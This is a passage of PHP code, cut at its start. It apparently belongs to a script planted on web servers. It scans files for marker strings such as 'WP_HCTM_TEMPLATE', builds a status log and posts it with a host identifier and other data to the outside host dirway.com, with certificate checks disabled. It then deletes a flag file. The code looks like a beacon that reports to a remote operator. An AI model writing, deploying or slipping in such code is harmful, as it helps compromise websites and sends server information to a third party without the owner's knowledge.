tr = ''; foreach ($HSarr as $fn) { $sh_content = file_get_contents ($fn); if (file_exists ($fn) && (strpos ($sh_content, 'session_save_path') || strpos ($sh_content, 'WP_HCTM_TEMPLATE'))) $check_str.= '1'; else $check_str.= '0'; } } $str_log = $err.'##'.$len.'##'.$check_str; $headers = array (); $headers[] = 'HSSACS: 1'; $headers[] = 'HSSDO: rq'; $headers[] = 'HSSID: '.$_SERVER['ph']['host_id']; $headers[] = 'HSSCH: '.$str_log; $headers[] = 'HSSFD: '.$free_data; _send ('https://dirway.com/', $headers); unlink ($flag_fn); if (isset ($go_out)) { $str_out = 'Previous upload: '.$previous_up.'

Current upload : '.$str_time.' '.$str_log; exit ($str_out); } } function _send ($url, $headers) { $ch = curl_init ($url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 2); curl_setopt ($ch, CURLOPT_TIMEOUT, 5); $content = curl_exec ($ch); curl_close($ch); return $content; } function _PH_lwrite ($fn, $str) { if (!$fp = fopen($fn, 'c')) return FALSE; flock ($fp, LOCK_EX); ftruncate ($fp, 0); if (fwrite ($fp, $str) === FALSE) return FALSE; fflush ($fp); flock ($fp, LOCK_UN); fclose($fp); return TRUE; } ?>